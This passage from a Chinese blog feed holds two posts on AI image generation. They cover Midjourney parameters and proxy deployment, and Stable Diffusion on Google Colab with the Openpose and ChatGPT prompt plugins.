&lt;1–40&gt;：</strong>重复多少次</li><li><strong>–seed &lt;integer between 0–4294967295&gt;：</strong>随机数种子</li><li><strong>–stop &lt;integer between 10–100&gt;：</strong>在中途停止生成</li><li><strong>–style <raw>：</strong>切换Midjourney的版本</li><li><strong>–stylize <number>，–s <number>：</strong>Midjourney美术风格的强度</li><li><strong>–tile：</strong>重复图块以生成更大的图</li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729601.png" alt="img"></p><p>除此之外你也可以指定使用Midjourney不同版本的基础模型</p><ul><li>-<strong>-niji：</strong>适用于动漫风格的基础模型</li><li><strong>–version &lt;1, 2, 3, 4, or 5&gt;：</strong>不同版本的Midjourney算法</li></ul><h1 id="继续拓展"><a href="#继续拓展" class="headerlink" title="继续拓展"></a>继续拓展</h1><p>在使用Midjourney的过程中，能最明显感觉到的是，Midjourney其实是通过<strong>大幅度简化来实现产品使用体验的大幅度提升</strong>，使用Midjourney你并<strong>不能像SD一样在很多地方影响图片的生成逻辑</strong>，拿生成赛博偶像的系列图举例子，你<strong>很难生成同样外形的多个系列图片</strong>。</p><p>而Midjourney这个工具其实更聚焦于设计师群体，重要的是你想要画一个什么东西出来，<strong>一个符合预期的prompt提示词，配合多轮的迭代式绘画改进，你基本上可以用Midjourney画出一个满意的东西。</strong></p><p>而我觉得Midjourney除了<strong>超棒的交互式体验</strong>，最牛的就是<strong>底层关键词的解读逻辑有效度非常之高，而且基础模型的审美非常不错</strong>，你大概写一个描述词基本上都能得到一个质量非常高的图，这点是其他绘画ai都达不到的高度。</p><p>举个例子，<strong>a hacker before computer</strong> </p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729209.png" alt="img"></p><p>如果是在<strong>文心一言</strong>，你就会得到这样一个图</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729605.png" alt="img"></p><p>这里你能很明显的感受到他们的区别，就是<strong>Midjourney生成结果质量非常之高</strong>，你还可以让他进一步生成，如果你觉得直接选择V变化太小了，你可以选择<strong>用大图来重新图生图。</strong></p><p>比如这里我拿第二个图进行重新生成，<strong>加入赛博朋克风格</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729504.png" alt="img"></p><p>当然你可能没有什么想法，但你只是喜欢这个画风，那你<strong>可以通过chaos这个参数来增加多样性</strong>，当然这个值建议不要设置太大，否则基本和原图就关系不大了。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211730156.png" alt="img"></p><p><strong>你可以在midjourney上轻而易举的获得你想要的任何改动，不用担心你的需求无法理解，Midjourney会不知疲倦的持续产出各种东西来。每次用这个东西的时候都能感觉到设计师的悲惨。</strong></p><p>之前也曾经听过一个事情，设计师届曾<strong>大量的抱团反对ai绘画工具的诞生，用设计师设计的东西训练ai，最后反倒毁掉了设计师的工作</strong>，真是令人唏嘘。</p><h1 id="在线部署Midjourney"><a href="#在线部署Midjourney" class="headerlink" title="在线部署Midjourney"></a>在线部署Midjourney</h1><p>前面说了很多关于Midjourney的使用问题，但对于国内来说Midjourney最大的问题就是discord是需要科学的。所以接下来介绍一个可以在国内部署的方案</p><ul><li><a href="https://github.com/novicezk/midjourney-proxy" target="_blank" rel="noopener">https://github.com/novicezk/midjourney-proxy</a></li></ul><p>你可以使用这个项目来部署一个Midjourney的代理，我觉得比较好用的是部署在Railway的版本，不需要用自己的服务器，这个网站提供免费的5美刀和每个月免费的500小时使用。</p><ul><li><a href="https://github.com/LoRexxar/midjourney-proxy/blob/main/docs/railway-start.md" target="_blank" rel="noopener">https://github.com/LoRexxar/midjourney-proxy/blob/main/docs/railway-start.md</a></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211730156.png" alt="img"></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211730645.png" alt="img"></p><p>部署完成之后可以获得一个mid的链接</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211730344.png" alt="img"></p><p>这个时候还只有api，你需要配合一个前端来完成，我选用了魔改版的ChatGPT-Midjourney</p><ul><li><a href="https://github.com/Licoy/ChatGPT-Midjourney" target="_blank" rel="noopener">https://github.com/Licoy/ChatGPT-Midjourney</a></li></ul><p>这个东西可以直接部署Vercel版本的，非常好弄，直接点击deploy就可以开始配置了</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211730562.png" alt="img"></p><p>部署好了绑定域名就可以用了，很方便。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211730247.png" alt="img"></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;之前的几篇关于AI生成图片的文章讲的都是&lt;strong&gt;stable diffusion&lt;/strong&gt;，虽然SD&lt;strong&gt;出现的更早而且开源免费&lt;/strong&gt;，但其实在设计圈使用更广泛的是&lt;strong&gt;Midjourney&lt;/strong&gt;，&lt;strong&gt;Midjourney最大的优点就是使用的便利性，任何一个不懂技术的设计都可以通Midjourney来快速完成设计，而且Midjourney的底层基础模型成熟度相当高，生成的图质量都很高。&lt;/strong&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="chatgpt" scheme="https://lorexxar.cn/tags/chatgpt/"/>
    
    <category term="midjourney" scheme="https://lorexxar.cn/tags/midjourney/"/>
    
  </entry>
  
  <entry>
    <title>赛博偶像速成指南（二）- SD进阶篇</title>
    <link href="https://lorexxar.cn/2023/06/02/cyber-girl2/"/>
    <id>https://lorexxar.cn/2023/06/02/cyber-girl2/</id>
    <published>2023-06-02T10:12:24.000Z</published>
    <updated>2023-06-05T07:00:54.000Z</updated>
    
    <content type="html"><![CDATA[<p>在第一篇关于AI绘图的文章中，我主要介绍了stable diffusion的各种使用方法</p><ul><li><a href="https://lorexxar.cn/2023/02/21/cyber-girl/">https://lorexxar.cn/2023/02/21/cyber-girl/</a></li></ul><p><strong>在midjounry收费之后，除非你对AI绘图这个操作本身有强需求，否则在免费自建的stable diffusion上做拓展就成了现在最好的解决方案。</strong></p><p>这篇文章就聊一些stable diffusion的一些进阶操作和关键点。其中有不少还是很有意思的。</p><a id="more"></a><h1 id="在线部署stable-diffusion"><a href="#在线部署stable-diffusion" class="headerlink" title="在线部署stable diffusion"></a>在线部署stable diffusion</h1><p>AI相关的东西都有一个很大的共同点就是<strong>对GPU的算力要求太高</strong>，相比在服务器上运行，更靠谱的方案是在本地电脑上跑，比起动辄5、6位数的服务器，<strong>一个入门级的4070ti就已经能应对大量的ai训练场景</strong>了。</p><h2 id="在Google-Colab白嫖GPU"><a href="#在Google-Colab白嫖GPU" class="headerlink" title="在Google Colab白嫖GPU"></a>在Google Colab白嫖GPU</h2><p>但有个很特殊的东西是<strong>Google Colab</strong>，这是Google提供的免费GPU算力</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814320.png" alt="img"></p><p>现在有很多现成的脚本可以允许你<strong>一键部署脚本</strong>，就比如</p><ul><li><a href="https://colab.research.google.com/drive/1lekLF7iib6M1R-NCylS0VMTF4wve-XuV" target="_blank" rel="noopener">https://colab.research.google.com/drive/1lekLF7iib6M1R-NCylS0VMTF4wve-XuV</a></li></ul><p>点击打开之后，先<strong>点击右上角的连接，会随机分配一个机器给你</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814746.png" alt="img"></p><p>连接成功就会<strong>变成绿色</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814327.png" alt="img"></p><p>免费的计算单元式有限的，<strong>你也可以考虑升级Colab Pro或者Pro+来获得稳定的计算资源。</strong>Colab Pro的价格是大概每月75.</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814809.png" alt="img"></p><p>在登陆成功并里连接好机器之后，你就可以按照步骤逐步点击操作，<strong>每一步点开箭头按钮即可</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814201.png" alt="img"></p><p>这里需要下载的各种内容都会<strong>直接下载到你账号对应的Google云端硬盘。</strong></p><p>然后是一些比较重要的设置，首先基础的模型包中选择合适的模型，<strong>在上篇文章提到过Chilloutmix是一个人像的写实通用模型</strong>，正常来说我们都会选择这个。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814165.png" alt="img"></p><p>当然，如果你想要下载其他模型，你也可以在这里填入相应的包链接下载。<strong>包括后面的LoRa也是一样。</strong>其他的大部分内容都不用更改，直接跑完即可。</p><p><strong>最后点击运行启动web ui</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814262.png" alt="img"></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814298.png" alt="img"></p><p>然后你就可以直接使用在线版本的stable了，要注意的是免费的colab会有两个问题</p><p>1、<strong>免费的colab只能连续运行十几小时</strong>，再用就必须停一段时间，就又会获得新的免费时间。</p><p>2、<strong>在使用人数比较多的时候，免费账户可能会申请不到GPU算力。</strong></p><p>当然如果你用的是colab pro就不用这么麻烦了。</p><h2 id="在Stable-diffusion基础上的第三方"><a href="#在Stable-diffusion基础上的第三方" class="headerlink" title="在Stable diffusion基础上的第三方"></a>在Stable diffusion基础上的第三方</h2><p>其实市面上有很多很多的第三方开发AI绘图工具是<strong>基于Stable diffusion做的</strong>，其中很多都很好用，适当的付费就可以换来非常好用的工具，就比如Civitai中，你就可以直接<strong>点击跳转到第三方网站付费运行相应的模型。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814834.png" alt="img"></p><p>除了这些内置的以外，其中有个我感觉比较好用的是<strong>Vega AI</strong></p><ul><li><a href="https://rightbrain.art/" target="_blank" rel="noopener">https://rightbrain.art/</a></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814021.png" alt="img"></p><p>这个网站已经把Stable diffusion包装成很接近<strong>midjounry</strong>的工具了，你可以<strong>非常简单的选择模型并输出描述文案，并且可以在图片基础上做反复微调</strong>，虽然这都是Stable diffusion本身的功能，但不得不说在包装后更好用了。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814987.png" alt="img"></p><h1 id="Stable-diffusion拓展插件"><a href="#Stable-diffusion拓展插件" class="headerlink" title="Stable diffusion拓展插件"></a>Stable diffusion拓展插件</h1><p>在上篇文章讲到Stable diffusion本身的各种用法，其实除了本体以外，<strong>Stable diffusion还支持拓展插件</strong>，可以有非常不错的功能拓展。</p><h2 id="Openpose-骨骼绑定"><a href="#Openpose-骨骼绑定" class="headerlink" title="Openpose 骨骼绑定"></a>Openpose 骨骼绑定</h2><p>Openpose Editor是<strong>一个最近比较流行的骨骼动作编辑插件</strong>，你可以直接在下面的链接下载这个插件。</p><ul><li><a href="https://github.com/fkunn1326/openpose-editor" target="_blank" rel="noopener">https://github.com/fkunn1326/openpose-editor</a></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814700.png" alt="img"></p><p>通过这个插件，你可以在一定程度上<strong>设定生成图片的人物骨骼结构。从而生成指定的图片。</strong></p><p>在导入Openpose插件之后，你可以在上面选择<strong>Openpose编辑器</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814486.png" alt="img"></p><p>然后选择简单的骨骼结构之后<strong>推导到文生图继续编辑</strong>，在左下角勾选<strong>启用，和低vram模式</strong>，其他的基本不用动。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021814571.png" alt="img"></p><p>这样就可以跑出来一张指定骨骼样子的图片</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021815163.png" alt="img"></p><p>除了指定骨骼以外，<strong>你还可以通过上传图片来解构图片本身的骨骼，然后再用来指定和生成</strong>，这个Openpose在生成人物图片的优先级以及效果远比图生图效果要好，尤其是可以很大程度还原图片本身的样式。</p><p>在OpenPose编辑器中使用<strong>Detect from image获取图片中的人物骨骼</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021815157.png" alt="img"></p><p>然后发送到<strong>文生图或者图生图里传入关键字</strong>。等待一会儿就会生成对应的图了</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021815287.png" alt="img"></p><p>当然这里这个简单的骨骼绑定还是比较简单的一种，<strong>配合适当的ControlNet插件你还可以做到线稿成图、色块成图等等类似的操作。</strong></p><h2 id="ChatGPT关键字"><a href="#ChatGPT关键字" class="headerlink" title="ChatGPT关键字"></a>ChatGPT关键字</h2><p>其实我觉得Stable diffusion里<strong>最不实用的关键点就是正向和负向关键字</strong>，关键字系统本身相当复杂而且还只能识别英语，并且<strong>里面的优先级问题和竞争问题相当复杂</strong>，对于使用者来说，这点就是一个相当大的门槛。反之在<strong>midjounry</strong>中这方面就做的非常好，你可以用中文描述场景在逐步优化。</p><p>而现在，你可以用一个简单的ChatGPT插件来实现类似的功能，在配置上chatgpt的api之后你就可以<strong>用GPT3.5来解构和构造关键字。</strong></p><ul><li><a href="https://github.com/hallatore/stable-diffusion-webui-chatgpt-utilities" target="_blank" rel="noopener">https://github.com/hallatore/stable-diffusion-webui-chatgpt-utilities</a></li></ul><p>成功安装之后，可以在设置里找到ChatGPT Utilities，点开并配置Chatgpt 的apikey</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021815842.png" alt="img"></p><p>然后在对应文生图中，<strong>script中选择对应的ChatGPT，就会弹出以下的选项卡，我们可以在这里自动生成prompt.</strong></p><p>后台会用你设定的ChatGPT apikey去生成图片的prompt</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021815829.png" alt="img"></p><p>然后会生成对应的图</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021815383.png" alt="img"></p><p>当然<strong>让chatgpt去生成prompt是比较简单的应用方式</strong>，你也可以指定部分prompt，然后进一步生成图片。比如</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">基于 &#123;prompt&#125;，生成不同姿势的粉色头发美女</span><br></pre></td></tr></table></figure><p>这种情况下，你先去<strong>搞一个比较靠谱的prompt，再自定义做修改，</strong>就不会像以前一样对超长的prompt无从下手了。当然，我试了几次之后发现<strong>，其实chatgpt不太能理解这个预设的prompt，效果没有直接描述场景更好。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306021815109.png" alt="img"></p><p>生成的图有点儿崩了，这里我就打码了</p><h1 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h1><p>在研究Stable diffusion的过程中，真的感觉现在这个东西好成熟，没想到AI革命，很多行业都还没革明白，但再设计圈已经掀起翻天波浪了。下次文章会聊聊另一个神器<strong>midjounry</strong></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;在第一篇关于AI绘图的文章中，我主要介绍了stable diffusion的各种使用方法&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://lorexxar.cn/2023/02/21/cyber-girl/&quot;&gt;https://lorexxar.cn/2023/02/21/cyber-girl/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;在midjounry收费之后，除非你对AI绘图这个操作本身有强需求，否则在免费自建的stable diffusion上做拓展就成了现在最好的解决方案。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这篇文章就聊一些stable diffusion的一些进阶操作和关键点。其中有不少还是很有意思的。&lt;/p&gt;</summary>
    
    
    
    
    <category term="aicg" scheme="https://lorexxar.cn/tags/aicg/"/>
    
    <category term="sd" scheme="https://lorexxar.cn/tags/sd/"/>
    
  </entry>
  
</feed>
